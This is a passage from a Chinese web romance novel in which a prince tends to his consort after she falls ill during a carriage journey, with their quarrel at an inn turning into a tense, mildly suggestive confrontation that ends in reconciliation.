裴敛怎么都没想到她竟还没放弃,整个人没来得及躲闪,柔软的触感碰上了他的唇角,“啵”的一声,被轻轻地啄了一下。
虽没有正正亲到唇,但嘴角也是可以的!
姜钰雪得逞,欢天喜地地从他背上下来,又猛地将他往前推了出去。尔后飞快地锁上门,把他关在了门外。
晃过神时,裴敛已被对方赶了出去,诧异地愣住原地。
“姜钰雪……!”他不可置信地转过身,隔着门朝里面的人斥道。
里头的人捏着嗓子,回道:“姜钰雪不在!”
裴敛气笑地冷哼几声,不想再多同她计较,转身走出了小院。
守在院门的侍女在看见他时,脸上骤然生出惊异之色,忙低下头,耳尖发红。
紧接着,第二个、第三个侍女同样如此。
裴敛狐疑,路过鱼塘时顺
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手照了照水面,发现被她吻过的唇角上,竟是留下了粉色的口脂唇印。
他面色一怔,抬头用衣袖擦去,沉着脸快步往自己院里走。
姜钰雪这边累出了一身冷汗,虽没有完全的胜利,但也成功亲到了他一点,开开心心地唤人给她打水沐浴,洗去身上的汗。
而裴敛这一侧,明明已经擦去了唇印,一路上依旧是遭遇着下人们诧异的眼神。
他没多想,只当是因为他此时确实没什么好心情,叫下人们觉察了而已。
一直待他回到寝屋,让洛十一唤人给他打水沐浴时,就连洛十一都没有忍住多看了他几眼。
“我脸上有东西?”裴敛见洛十一的神色,问道。
洛十一识相地摇了摇头,回道:“并、并未,小的只是见殿下从侧妃的院子里出来,有些新奇罢了。是小的逾越了。”
裴敛叹了声气,没再理会,将下人都屏退后,自己卸了衣服准备沐浴。
然而,却是在卸下腰带的一瞬,一抹红印入眼中。
裴敛一怔,仔细一看,那是件锈了鸳鸯的赤色小衣,与他的腰带纠缠在一起,小小一件,被缠得皱巴巴的。
他方才,竟就是在腰间挂着这么一件小衣,一路从她的院子里回到自己院中。
裴敛抓着浴桶的边缘,无奈地深深叹出一口气,看着地上的小衣,舔了舔唇瓣,目光闪烁:
“怎么又是甜的……”
-
姜钰雪被禁足了好几日,用膳什么的也只在自己院中。
新月见她被罚,愁得给她出谋划策,让她之后好修复修复关系。
姜钰雪倒不觉得禁足有什么,除了不能出院子外,也没什么不同,反正她平日里也出不了王府。
更何况,这几日她都不需要一大早的就去用膳了。
实在是美哉美哉。
“侧妃。”
姜钰雪正和新月聊着,门外忽的传来管事的声音。新月忙去开了门,将人带了进来。
“侧妃,劳烦收拾一下,准备两个时辰后出府。”管事说道。
“啊?”姜钰雪疑惑道,“可是我不是被禁足了么?怎能出去呢?”
她眉心一跳,心虚道:“难、难道是……要赶我走?”
“不是。”管事摇了摇头,解释道,“后日是世子生母,也就是端王妃的祭日,按照规矩,应当是由正妃陪同殿下一并去的。”
“但,如您所见,殿下尚未继位,目前只有您这么一个侧妃。”
“老奴同殿下商量了一番,决定还是带姜侧妃一并去了。”
说着,老管事给姜钰雪使了个眼色。
“还请侧妃快些准备。”
就这样,新月和几个侍女忙前忙后地给她修整了一番,又收拾了些路上要带的东西,就这么一齐出了府。
载人的马车停在王府门口,裴敛已经在车厢中候着。
姜钰雪连着几日没见过他了,今日这一见,竟还有些紧张。
希望他已经消气了……
姜钰雪走进车厢,一眼便看到靠在窗边闭目养神的裴敛。
看上去还是同往常一样,沉默不语,不怎么搭理人。
“殿下……”姜钰雪悄悄唤了声,捋了捋裙摆坐在了他旁边的位置上。
她正打算将自己这边的车窗打开一些,便听到他冷冷令道:“坐过去。”
28. 第28章
闻言,姜钰雪缩了缩脑袋,迟疑地回头去看。
裴敛仍旧维持着方才的动作,好像刚才什么都没发生过。
姜钰雪看了看周遭,疑惑道:“过去哪儿……?”
她现在就坐在靠边儿的位置呢。
裴敛抬眸看了他一眼,视线移到他斜对面的位置上,示意道:“劳烦姜小姐离我远些。”
姜钰雪看了眼那个位置,感觉那儿窗口大,风也大,但还是努努嘴,应道:“好吧……”
马车行驶,车轮压过有些崎岖路面,车厢内随之颠簸。
车厢内的两人一路沉默不语,各自看着窗外的景色,来往人声不断。
不知是否是因为出门赶了些,来不及好好吃饭,姜钰雪隐隐觉得肚子有些不适,说不上来是疼还是酸,头也有些昏昏沉沉的。
“殿下……”姜钰雪皱着眉,向裴敛搭话,“我感觉有些不舒服……”
裴敛暼了她一眼。
她今日着了一身白,面带素妆,胭脂不似往常那般着粉,黛眉微蹙,一双无辜的双眸期盼地看向他,可怜兮兮的。
又是那副样子。
分明方才出来时还活蹦乱跳的。
裴敛本不想回她,可见她那副模样,轻吐一息,还是开口问道:“你有何不适?”
姜钰雪在车厢内弯身站起,往裴敛的方向伸出脑袋,说道:“感觉头晕晕的,殿下能不能帮我看看。”
说着,她凑到裴敛跟前,抬手便要抓住裴敛的手。
裴敛往后躲开,不悦道:“姜钰雪,你又要做什么……!”
姜钰雪被他撇开手,知晓他还在生那天的气,喃喃解释道:“我就是想让殿下帮我探探额头……”
车厢内有些颠簸,姜钰雪抓着车窗的边缘,险些撞上裴敛。
裴敛因着前几日的事,不愿与她过多接触,遂命道:“你自己身体是否不适,你自己最清楚。”
“坐回去。”
被凶了一遭,姜钰雪无助地咬了咬唇,老实坐回了窗边。
风涌进车厢内,在她面上刮着。
她身上使不上劲,没有什么精神,吹些凉风或许还能精神些。
而且,她还有——
她从袖中掏出一小包油纸,里面装了几颗大枣子,是新月怕她饿着,在上车前给她塞的。
大抵只是饿了吧,吃点东西或许就好了。
姜钰雪想着,看了看裴敛,想着是否要同他一齐吃。但看他显然还在生她的气,不愿搭理她,便没敢再多与他搭话,打开油纸自己吃了起来。
裴敛一手撑在窗台边,待她老实坐稳后,悄悄隙开一只眼看她。
说是身子不舒服,吃东西倒挺勤快的。
尔后移开视线,没再搭理她。
车厢内又沉寂了许久。
姜钰雪的手紧紧攥着裙子,额头不知何时渗出了细细的冷汗。
奇怪了,她分明已经把油纸包里的枣子吃了大半,肚子还是不舒服。
甚至从原本的酸胀,逐渐变成了阵痛,脑袋也越发的沉。
姜钰雪偷偷往裴敛的方向看去,想向他求助。
但此时的裴敛正闭目休息,对她的视线没有丝毫反应。
无奈,姜钰雪只好低垂着头,手捂在小腹上忍着。
待傍晚时候便可以在客栈休息了,再坚持一会儿,忍到那就解脱了。
她这样想着,脑袋开始一下一下痛了起来,整个人也不清醒。周身一会儿像被凉水浇过,一会儿像被火烤过,忽冷忽热的。
渐渐的,视野变得模糊,头重得抬不起来,终于是控制不住一头倒了下去。
“姜钰雪……?!”
油纸包的枣子滚落在地。
裴敛眼疾手快,抬手抓住她的肩膀,让她倒进了自己怀里。
“姜钰雪,你怎么回事?”裴敛轻轻晃了晃怀里的人,脸颊触碰到她的额头,这才恍然发现。
她发热了。
“停车!”裴敛忙喊下车夫,抬手关上了车窗,不让风吹到她,又摸了摸她的额头,唤道,“姜钰雪,还醒着吗?”
怀里的人呼吸急促,眉头紧紧蹙起,面无血色。
裴敛将人抱起,带着人来到最近的客栈,又让人去唤大夫过来。
他怀里抱着人,正要放在榻上,忽的手臂被抓住,手背上落了几滴水。
“殿下……”
裴敛闻声低头看去,怀里的人已经醒了过来,正啜啜哭着。
“你怎么样?难受?”裴敛将她轻轻放在榻上,弯下身看她。
姜钰雪抓着他的袖子不放,脸颊上淌着泪,耷拉着唇角委屈道:“我、我难受……”
“和殿下说,但是殿下生气了,不理我……”
“我就、我就忍着……一直忍着……”
“我好疼……”
她边说边抽泣,话说得黏黏糊糊的,泪水也大颗大颗地往下落,整个人委屈极了。
裴敛闻言一怔,想起方才在车厢上她反复向他求助的眼神,心头不由一紧。
“无事了,”裴敛抬手用拇指擦去她眼角流出的泪,声音骤然放轻了许多,“是我不好,你莫哭了。”
听他这般说,姜钰雪一下哭着钻进他怀里,左右蹭了蹭,找了个舒坦的位置埋了进去。
裴敛被她抱得突然,下意识想推开她,但又想到她确实因为他受了委屈,遂无奈地叹了口气,任她往自己怀里拱。
待她老实了些,裴敛轻轻将挡在她脸颊边的碎发撩到耳后,温声道:“大夫要晚些才到,你发热这样突然,恐怕不是一般的风寒。”
说着,大手虚地抚在她烧得有些发红的小脸上,说道:“将脸抬起来些,我先帮你看看。”
裴敛的怀抱很温暖,结实的肌肉围绕在姜钰雪的周身,让她内心平静了许多。
虽然脑袋、肚子还是疼得厉害,但至少没有方才那般难受了。
她顺着他手掌的动作抬起头,对上他眼底难得的温柔。
似平静的湖面,又似被柳絮撩动过的湖水。
姜钰雪看得有些发愣。
“张嘴。”裴敛一手抬起她的下巴,轻声指示道。
姜钰雪还未晃过神来,只是脸上挂着泪痕,懵懂地看向他。
裴敛也不急,拇指轻柔地在她唇上来回揉着,重复指示道:“张嘴。”
这下姜钰雪总算听明白了他的意思,缓缓张开嘴来。
裴敛在她唇瓣上揉着的拇指停下,转而按在那唇上。
往日里湿润柔软的唇瓣,今日却变得有些发干,血色也不大好。
裴敛不觉蹙眉,声音又轻柔了许多。
“对。”
“乖。”
“再张开些。”
“让我看到你的喉咙。”
“来,啊——”
“啊————————”
姜钰雪按着他说的张开嘴,长长地“啊”了一声,收获到了他一个温柔的摸摸头。
“喉咙有些发炎。”裴敛定断道。
接着,他又将拇指往她嘴中探了探,撬开她抵在下颚处的舌尖,指示道:“把舌头伸出来。”
姜钰雪嘴里被他的手指塞着,没法好好说话,只能按着他说的慢慢伸出舌头。
裴敛盯着她伸出来的舌尖,温声鼓励道:“对,很好。”
“就这样,抵着我的手。”
“把它吞进去。”
“舌头再伸出来些。”
“能做到吗?”
姜钰雪试着照做,放松舌根,让他的手指往嘴中深入。她的舌头被迫伸了出来,眼角没来得及擦的泪也流了下来,就这样仰头看着他,嘴里发出嘤嘤的声音,等候着他的回复。
“对,就是这样。”裴敛看着她的舌头,安慰道,“有些难受,你稍微忍一下,很快就好了。”
他说着,盯着她的舌头看了几息,尔后轻轻拍了拍她的头,说道,“好了,收回去吧。”
姜钰雪把舌头收了回去,呼呼地喘了几口气。
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裴敛拿着帕子擦了擦手上的津液,说道:“舌色浅,舌苔白,脾虚,气血差。喉内有些许红肿。”
姜钰雪听着,这些确实都是她以往常有的问题,遂认同地点了点头。
直到听到他忽的说道:“你在府中偷吃甜食了?”
?!
姜钰雪心里一跳,眼泪瞬间吓停。
他他他怎么知道?!
姜钰雪没有回答,只是可怜兮兮地往他怀里钻了钻,抽了抽鼻子。
见状,裴敛心中自有答案,但此时不是与她争论此事的时候。
他拉起榻上的被褥往她后背盖上,说道:“许是今日行车时凉风吹多了,加上你近来气血不足,气血虚,脾也虚,又食甜食食到喉中发炎,全部撞到一起,风寒便来了。”
“还有就是,你是不是……”
他说着,感觉到腿上淌了一片温热的液体,低头一看,白色的衣袍上红了一片。
果不其然:“……癸水来了?”
“啊啊啊啊啊……!”姜钰雪看到他身上被她染红的衣袍,脸上顿时烧了起来,一把捂住脸嗷叫了起来,“呜呜呜呜……”
“怎么了?!”裴敛见她又哭起来,疑惑道。
“丢人……”姜钰雪把脸埋在他怀里,低着头不敢看他,“好害臊……弄脏你衣服了……”
闻言,裴敛暗暗松了口气,说道:“不脏,没什么好害臊的,都是很正常的事。”
他看了看她同样被染红的裙子,说道:“你的侍女在后面的车里,很快便到了。等她来,给你换一身衣服,再让大夫给你开味药便行了。”
话刚说完,新月果真是马不停蹄地跑上了楼,进屋里查看了姜钰雪的情况。
裴敛自行离开了房间,跟客栈的老板多要了一间房,自己进房换了身衣服。
临时喊来的大夫给姜钰雪把了把脉,开了几味药,又再同裴敛嘱咐了几句,便离开了。
夜幕降临,安顿好了随行的下人,裴敛来到姜钰雪住的房门前。
守在门口的新月见他来,忙要行礼,被裴敛抬手给免了。
“她合衣睡下了吗?”裴敛问道。
新月知晓他是来关心自家主子,便一五一十汇报道:“小姐合衣睡下了,只是烧还未退,大夫说把药喝下,明日便能好了。”
裴敛颔首,又问道:“她以前也这样?”
新月点了点头,又摇了摇头:“这回来得早了些,头疼、发热、腹疼也严重了不少。也不知是为何……”
裴敛点头思忖几息,尔后抬步往里面走去。
屋内没有点灯,只有窗台处照进来的皎洁月光。
榻上的人正安静地睡着,屋内只剩下对方绵长的呼吸声。
一张烧得有些红的小脸安稳地闭上了眼,头顶盖着一条用来降温的湿巾。
裴敛走近她,步伐比落尘还要轻。尔后停在她榻边,缓缓抬手用手背探了探她面颊的温度。
还是在发热。
发红的小脸动了动,湿漉漉的黑眸迷茫地睁开,看向了站在榻边的人。
“殿下……”姜钰雪小声唤道。
裴敛收回手,一手支在榻边,弯身问道:“吵醒你了?”
姜钰雪动了动睡麻的腿,懒懒地打了个哈欠,脑袋一动,头上的湿巾便错了位,一下滑到她的眼睛上。
裴敛轻叹一声,将她眼睛上的湿巾拿起来。尔后,放进一旁的水盆中重新过了一遍,拧了拧,放回她额头上:“你今晚好好休息,新月守在外头,你有事便喊她。若有它的事,我也住在这客栈,你让她来寻我便行。”
他说完,起身道:“走了,你好好休息。”
姜钰雪见他要走,忽的从榻上爬起来,一下攥住他的尾指。
白色的中衣紧紧贴在她身上,印出其下红色小衣的轮廓。青丝从她的肩头滑落,雪白的后颈上,细细的小衣系带沉沉地挂着。
姜钰雪顶个红扑扑的小脸,轻轻喘着气,楚楚可怜道:“我想要殿下……”
29. 第29章
额头的湿巾落到榻上,沾湿了纯白的榻褥。榻上的人直起身子,惹得被褥窸窣作响。
裴敛闻声停下脚步,回头看她:“你要我做什么?”
姜钰雪脑袋昏昏沉沉的,感觉整个人都要烧干了。她抿了抿发干的唇,声音里带了些鼻腔,憔悴道:“要……喝水。”
闻言,裴敛看了眼榻边小桌上见底的水杯,抬步过去将其倒满,递到了她面前:“拿着。”
此时,姜钰雪还半睡半醒着,看着面前递过来的水杯,迷迷糊糊地抬手握住。
“拿好来,我要松手了。”裴敛说着,对方握着的手稍稍用力,微凉的指尖覆在裴敛之上,惹得他不禁蹙眉低头看去。
手发软,手的温度比往常还要凉。
他四下环视了一圈,并未发现可用的木椅,只好将榻上的被褥往里推了推,弯身坐到了榻边。
“拿得住吗?”裴敛看着她迷茫的双眸,耐心问道。
昏暗中,姜钰雪虚地握着那杯水,风寒烧起的热闷得她的脑子无法思考。
她循声望去,眼前不知何时出现了一对好看的薄唇。那唇薄却饱满,即便是在一片昏暗之中,也能感受到它温热湿热的气血。
久久未得到她的回答,裴敛垂眸看向她。
窗外云层剥开,月光照到两人之间。
姜钰雪抓住他的衣领欺过去,本能地去寻求那温热又湿润的唇瓣。
裴敛直起身来与她拉开距离,抬手将水杯递到她唇边,杯口按在她的下唇之上,轻轻一抬,将水倒了进去。
“喝水。”裴敛无视她抓在自己衣领上的手,开口命道。
姜钰雪一手按在他拿着杯子的手背上,一手抓着他的衣领,仰头喝着。
感受到她抓在自己手上的手有了力气,裴敛继续说道:“自己握着。”
然而,姜钰雪着实是渴极了,只管自己咕咚咕咚地咽着,甚至是急切地按着对方的手,要他抬得再高些。涌入口中的水从唇角溢出,从她唇角一路滑过玉颈,落入交领之下的深沟中。
“咳咳咳……”许是喝得太急了,姜钰雪不小心把自己呛到,咳个不停。
裴敛拿开杯子,掏出帕子递到她面前:“慢点,弄得身上都是。
姜钰雪接连不断地咳了几声,轻轻喘着气,唇瓣沾了水,在月光下泛着水光,唇角溢出的水渍挂在下颌处,摇摇欲坠。
见她眼神依旧涣散,裴敛轻叹一声,伸手捏住她的下巴,让她扬起脸,自己拿起帕子帮她擦去水渍。
粉嫩的小脸柔软而有弹性,小小一张,巴掌不到,一下便擦干净了。
“剩下的,你自己擦。”裴敛将帕子塞进她手里,瞥了一眼她脖子往下的那些水渍。
他手将要离开,又被她一把抓住,冰冷的指尖往他掌心钻了钻,完全没在听他说话。
无奈,裴敛只好让她拿着帕子,自己握着她的手,带着她擦干净。
姜钰雪这回倒是配合了,乖乖地扬起脸等着。
裴敛瞥了她一眼,无奈道:“这下倒是听懂了。”
他视线向下,雪白的脖颈就这么毫无防备地展示在他面前,如脂的肌肤上流过一道道晶莹的水痕,深入衣领之下。
帕子在颈间擦拭着,分明隔着她的手,却依旧能感受到她肌肤散发出来的热。
实在是烧得太厉害了。
思忖间,手继续向下,忽的陷入一片软绵。
裴敛蓦的松开手,只留下姜钰雪的手还放在那团软绵之上。
明明是握着她的手,竟还能感觉到那一下带来的软而黏,却又富有弹性的触感。
“失礼……”裴敛收起面上的异样,往后退了些。
姜钰雪一点没听见,只是觉察到对方往后退去,自己也本能地跟了上去,伸手探进他外袍之下,摸着他的腰抱了上去。
“殿下……”姜钰雪把脸埋进他怀里,肆意汲取着对方身上的温暖,“好暖和。”
裴敛抓着她的肩要与她拉开距离,却是被她抱着不放。
“姜钰雪,你冷便回被褥中躺着,不要抱我。”
姜钰雪在他怀里摇了摇头,紧紧抓着他腰后,任性拒绝:“不要,殿下更暖和,我要睡在殿下这里。”
“我认真和你说,松开。”裴敛重复道。
姜钰雪依旧摇了摇头,再次拒绝了他:“我不。”
见她不肯放弃,裴敛沉沉吐出一口气,抬手推她。姜钰雪还是坚决抵抗,无赖地闷声发出抗拒的嘤声。
裴敛本是不想这样对待病人的。
但即便他这般粗鲁了,对方还是不屈,只好严肃问道:“姜钰雪,你知不知道自己在做什么?”
姜钰雪窝在他怀里没有看他,喃喃道:“……我想跟殿下同榻。”
“我不想。”
“我想。”
裴敛垂眸看向怀里的人,沉默几息后,抬手去掰她抓在自己身上的手:“姜钰雪,我这次便同你说清楚。”
他面色漠然,也不顾怀里人的挣扎,执意将她与自己分开。
“你同我,不过是因为圣上赐婚而凑到一起的两个陌生人。”
他攥住她挣扎的手腕,低头看着她,沉声道:“我并不喜欢你。”
姜钰雪低垂着头,本来昏昏沉沉的脑子,被他的这番冷漠一下冲刷得清醒,视线却变得模糊了。
“你哭也没用。”裴敛看着她眼角闪烁的泪水,执意道,“你既同样不喜欢我,便也没必要这般勉强,王府不会因此亏待你。”
“……谁说的。”姜钰雪声音发着颤,没由来地赌气道,“谁说我不喜欢你了!我喜欢殿下!”
“喜欢我?”裴敛眉间蹙起,抓着她的下巴强迫她抬头看向自己,命道:“那你看着我再说一次。”
“我、”姜钰雪仰着头,视线中是对方冷漠的眼神。她下意识要偏过头去躲闪,却又被对方捏住下巴抬了回去。
姜钰雪咬了咬牙,压抑着自己躲闪的冲动,执拗地回道:“……我喜欢殿下!”
泪水从她扬起的下颚滑过,落在了裴敛的指尖。
裴敛看着她眼中的神色,松开了手。
他将要退开,对方却又抓了上来。
纤细的手腕脱离了禁锢,腕骨上的红痕深得扎眼。
裴敛眸色深沉,言语间透露着不耐,命道:“松开。”
“不要……!”姜钰雪使劲摇着头,“我不松开!我都说我喜欢你了,为什么还不行!”
“明明你们这些臭男人对不喜欢的也可以!”
裴敛微眯着眼,沉声问道:“谁教你的?”
“……没有谁教我,”姜钰雪啜着声回道,“我自己发现的。”
她顾不上去擦拭脸上的泪痕,攥紧他的衣领,警惕着他再次推开她。
“他们分明没有多喜欢我,甚至都没见过几面。”
“就是这样的人都敢大言不惭地说喜欢我,说会待我好,你怎么就不可以。”
姜钰雪回想起自己过去接触到的男子。
他们有的风流花心,有的傲慢暴躁,有的是他人嘴中的大好人,有的则是众人艳羡的权贵。
起初,他们谈的是风花雪月,后来谈的是风尘浪途,再后来……
仅短短几日,甚至是几个时辰,便可以陡然一变,变成那些她从心底拒绝、害怕的、还不愿做的事。
如今,她转念一想。
至少眼前这个人,比他们好得多。
“我不可以。”裴敛说着,又一次要将她的手拿开。
姜钰雪死死抓着不愿松开。
裴敛已然没有什么耐心继续同她闹,抬高声量斥道:“姜钰雪,松手!”
“我不要!”姜钰雪本就发热的脑袋,在对方的这一次次拒绝中变得失去了理智,只是执拗地要他接受自己,大声哭喊道,“我可以!我喜欢殿下!”
话落,她的肩头被对方猛地一推,整个人撞进被褥之中,巨大的阴影随之笼罩。
她还未反应过来,一只炙热的大手便按住她的腰,从腰侧一路向上游走,抚过她身侧躺下的软绵,最后紧紧掐着她小臂内侧的软肉将她禁锢在榻上。
“所以,”裴敛伏在她身上,倾身欺到她面前,双眸紧紧地盯着她,“你是想要跟我做这种事?”
姜钰雪愣了神,落下的青丝铺散在她的身上,随着她起伏的胸口滑落在榻。
下一刻,身上的人忽的继续贴近,微偏过头,吐息着雪松香气的唇瓣不断贴向她的唇,抓着她膝盖的大掌以迅猛的速度摸近她的大腿根处。
姜钰雪从未做过这些,心里顿时涌起强烈的抵触,本能地抬脚踢在他身上。
冰凉的脚掌狠狠地踢在他的胸口,竟是没让他离开半点。反倒是随着脚掌感受到的一阵阵炙热的心跳,由他牵制住的另一只腿被他强迫着打开,整个人欺了进来。
“我不要……!”拒绝的话不受控制地脱口而出。
姜钰雪偏过头,双唇紧闭,浑身颤抖不止。她双手抵在对方的肩膀上,抗拒着他的接近,每一声啜泣都渗满了她的恐惧。
空气中沉静几息,尔后,炙热的包围从她周身抽离。随着床榻一声“吱丫”的响动,身上落下了一层柔软的包裹。
“睡吧。”裴敛从她身上离开,将被褥重新盖回她的身上,尔后抬手拂过她流泪的双眸,轻声说道,“你病了,所以闹了点脾气,还说了些胡话。”
看着她窝进被褥中,无助地蜷缩起身子,裴敛伸出手,隔着被褥在她背上轻轻拍了几下,温声道:“睡吧,明日醒来便都好了。”
尔后,起身抬步往门口走去。
姜钰雪将自己藏进被褥中,泪水止不住地流。
她输了。
输得好难堪。
自己揣着的那点心思被他看得一干二净。
心中的挫败、羞耻、不甘交织在一块,将她本就因为病弱而脆弱的精神击溃一地。
“爹爹……娘亲……”姜钰雪将脸埋进被褥之中,紧紧抱在怀里。
她想家了。
原本走远的
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脚步声一滞,空气中又寂静了几分。
裴敛闻声停下,眸中蓦的闪烁。
床榻上的人闷在被褥之中不停啜泣,嘴里低低地喃喃:“爹爹,娘亲……你们在哪里……我好难受……我不要一个人……”
裴敛垂放着的指尖在袖下微微一颤,眸中原本的漠色骤然褪去。
他远远看着榻上那娇小的背影,思忖片刻,轻叹一声,终是抬步走了过去。
床榻轻轻地往下陷了一下,姜钰雪猛地在被褥中缩了缩脑袋,头上轻轻地抚过一只温热的手。
“我就在这坐着,守着你,你好好睡吧。”头顶传来裴敛的声音。
姜钰雪晃了晃脑袋,将头藏进被褥中,盖过头顶,拒绝了对方的安抚。
被她这般落脸,裴敛也没恼什么,转而拉过被褥,将她露在外面的脚盖住。
甫一拉起被褥,光溜溜的脚丫猛地一把踹到他大腿上,被窝中传来姜钰雪执拗的哭骂:“走开!臭男人!我不要你了!你是臭男人!”
“嗯。”裴敛应着,依旧耐心地给她盖好了被褥,垂眸看着从被褥中伸出来的小手。小手不知何时,已经悄悄抓住了他的衣摆,紧紧地,看上去没有松开的意思。
“冷吗?”裴敛伸手包裹住那只手,轻声问道。
姜钰雪将被褥紧紧地抱在怀里,小脸哭得通红,抽了几下鼻子后,小声嘀咕着回道:“冷。”
裴敛将她的手从衣摆上拿下,牢牢地牵在掌心:“这样便不冷了。”
“睡吧。”
雪松的香气缓缓萦绕,姜钰雪窝在被褥之中,牵着对方的手不知不觉睡着了。
裴敛看她没了别的动静,抬手轻轻把她的被褥扯了扯,露出里头一张软乎乎的脸。
被褥中的人呼吸绵长,哭得红肿的眼睛轻轻阖着,纤长眼睫在眼睑投下一片阴影。
“睡着了倒是乖巧,醒着就满嘴胡话。”裴敛低声说着,撩起她滑落到面上的碎发,用手探了探她的额头。
沉睡的人似是感受到了什么,努努嘴握紧他的手,低低说了句:“喜欢……”
裴敛抚在她额头的手一滞,瞥了她一眼,悄声谴责道:“小骗子。”
-
翌日,清晨的阳光照入房内。姜钰雪从榻上醒来,昨夜一直牵着的手已经被塞回到被褥之中。
“小姐,你醒了?”新月带着早膳回到屋内,恰好撞见姜钰雪从被褥中起身。
姜钰雪睡眼惺忪,昨日的烧刚刚退去,现在人还有些晕。
“殿下方才还来问过小姐怎么样了呢。”新月忽然说道。
姜钰雪闻言一震,原本迷迷糊糊的脑子顿时清醒过来,心里一下波澜四起。
她昨晚又和他吵架了……
她默默抓紧了被褥的一角,怯怯问道:“他、他说什么了……?”
新月对他们昨晚的事情并不知情,只是如实地回复道:“殿下说,还有一个时辰便要出发了。如果小姐觉得不想去了,那便直接回府就行,他自己过去。”
姜钰雪摸了摸自己的额头,不烫,烧已经退了。
姜钰雪蜷了蜷脚趾,弱弱地回了句:“我去吧……”
“那我去把殿下喊过来。”
“别、别!”
听见新月要去喊人,姜钰雪慌忙制止道。
她抿了抿唇,在新月疑惑的眼神下目光闪烁着推卸道:“我昨夜出了一身汗,还没沐浴呢……”
“你……帮我和他说一声吧。就说,我会去的,稍等我一会儿。”
新月也没觉察到她的异样,毕竟自家小姐对着殿下这般畏畏缩缩的样子也不是一两天了,便应下去办了。
姜钰雪在新月的服侍下沐浴干净,又吃了几个包子,喝了点新熬的药,收拾好东西后下了楼。
“小姐,殿下在车上等着了。”新月指了指那边的那辆马车,说道。
姜钰雪掩着为难的情绪,接过新月给她准备好的小点心,点了点头,抬步上车。
车厢内,裴敛还是静静地坐在来时的那个位置,感觉到有人进来了,微阖的双眸缓缓抬起。
姜钰雪怀里抱着个食盒包裹,垂头不语。
昨晚两人算是撕破脸了。
上次还会因为她哭了,所以没有说多么难听的话,这次直接就当着她的面说不喜欢她。
更甚的是……自己说喜欢他,结果他当真要靠近的时候,反倒是她打退堂鼓了。
最后,她连和好的话都没讲,甚至气自己做得不好,把气撒在他身上,愣是踹了他一脚。
现在就算想和好,都有些说不出口了……
太丢人了。
她捋了捋裙摆,老老实实地坐在了他斜对面的靠窗处。
车门关闭,车夫驾着马车开始赶路。
空气中一时沉寂,只剩下车轮压过路面的声音。
凉风从窗口涌入,吹起姜钰雪鬓角上的碎发。
她抬手将头发撩到耳后,耳边传来裴敛的声音:
“你坐过来些。”